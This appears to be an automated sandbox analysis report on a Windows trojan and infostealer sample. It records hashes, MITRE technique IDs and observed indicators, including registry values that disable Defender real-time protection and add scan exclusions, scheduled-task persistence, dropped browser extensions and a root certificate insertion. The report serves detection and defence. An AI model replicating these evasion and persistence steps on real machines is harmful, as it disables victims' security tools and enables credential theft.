2851695f7770a696e443cbf518549cfe9c8f8f91d4ff6c73714b58f113a814a5

Analysis

max time kernel
134s
max time network
138s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
25-09-2022 11:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.2MB
MD5

e9d01b30b4559b787770d235d190fbad
SHA1

9f38080c4e387d373a86bea42671f4c98a5e88ab
SHA256

2851695f7770a696e443cbf518549cfe9c8f8f91d4ff6c73714b58f113a814a5
SHA512

b70b557b39852619a02404531112102b07175d973043c1d4a4a98c87c8a082a328d5393a6f5feaf3c21086573450540e2134a53230e42f93e4c6d23a033ddc28
SSDEEP

196608:91OYD3Asqaj3d9bzr66Avl3lPu+/5+k9K11Dht0Jyc/:3Oq3A7Onb6nvRlPu+RTAD0Jyc/

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 1712 rundll32.exe
30 1712 rundll32.exe
31 1712 rundll32.exe
32 1712 rundll32.exe
33 1712 rundll32.exe
35 1712 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exejaFWdOK.exevWjLHuP.exe

pid process

1476 Install.exe
1108 Install.exe
976 jaFWdOK.exe
968 vWjLHuP.exe

flow	pid	process
29	1712	rundll32.exe
30	1712	rundll32.exe
31	1712	rundll32.exe
32	1712	rundll32.exe
33	1712	rundll32.exe
35	1712	rundll32.exe

pid	process
1476	Install.exe
1108	Install.exe
976	jaFWdOK.exe
968	vWjLHuP.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1388	file.exe
1476	Install.exe
1476	Install.exe
1476	Install.exe
1476	Install.exe
1108	Install.exe
1108	Install.exe
1108	Install.exe
1712	rundll32.exe
1712	rundll32.exe
1712	rundll32.exe
1712	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

vWjLHuP.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	vWjLHuP.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	vWjLHuP.exe

Drops file in System32 directory 23 IoCs

Processes:

jaFWdOK.exepowershell.EXEvWjLHuP.exeInstall.exepowershell.EXErundll32.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	jaFWdOK.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	vWjLHuP.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	jaFWdOK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	vWjLHuP.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	jaFWdOK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	vWjLHuP.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	vWjLHuP.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	vWjLHuP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	vWjLHuP.exe

Drops file in Program Files directory 13 IoCs

Processes:

vWjLHuP.exe

description	ioc	process
File created	C:\Program Files (x86)\CXdyuXxQU\fNkYeFC.xml	vWjLHuP.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\kmhYsPy.xml	vWjLHuP.exe
File created	C:\Program Files (x86)\bOFQhydRtxUn\OazYBiw.dll	vWjLHuP.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	vWjLHuP.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	vWjLHuP.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	vWjLHuP.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	vWjLHuP.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\tmdWhxPHUnCdb.dll	vWjLHuP.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\uBZrRaW.dll	vWjLHuP.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\qiIeqAG.xml	vWjLHuP.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\kDJxxuO.dll	vWjLHuP.exe
File created	C:\Program Files (x86)\CXdyuXxQU\mWxHnd.dll	vWjLHuP.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\PvrkCKw.xml	vWjLHuP.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job	schtasks.exe
File created	C:\Windows\Tasks\GrrjjXtPjBVPFNmZQ.job	schtasks.exe
File created	C:\Windows\Tasks\ErhcMqZyPKQzNnH.job	schtasks.exe
File created	C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1324	schtasks.exe
932	schtasks.exe
1604	schtasks.exe
1056	schtasks.exe
544	schtasks.exe
1632	schtasks.exe
1580	schtasks.exe
272	schtasks.exe
792	schtasks.exe
1092	schtasks.exe
1320	schtasks.exe
1212	schtasks.exe
2012	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

wscript.exevWjLHuP.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadDecisionTime = 40ddc090e0d0d801	vWjLHuP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadDecision = "0"	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	vWjLHuP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\72-8a-7f-29-47-46	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\72-8a-7f-29-47-46	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vWjLHuP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}	vWjLHuP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionReason = "1"	vWjLHuP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionTime = 40ddc090e0d0d801	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	vWjLHuP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionReason = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f008f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	vWjLHuP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadNetworkName = "Network 3"	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	vWjLHuP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	vWjLHuP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	vWjLHuP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46	vWjLHuP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionTime = 40ddc090e0d0d801	rundll32.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

vWjLHuP.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	vWjLHuP.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a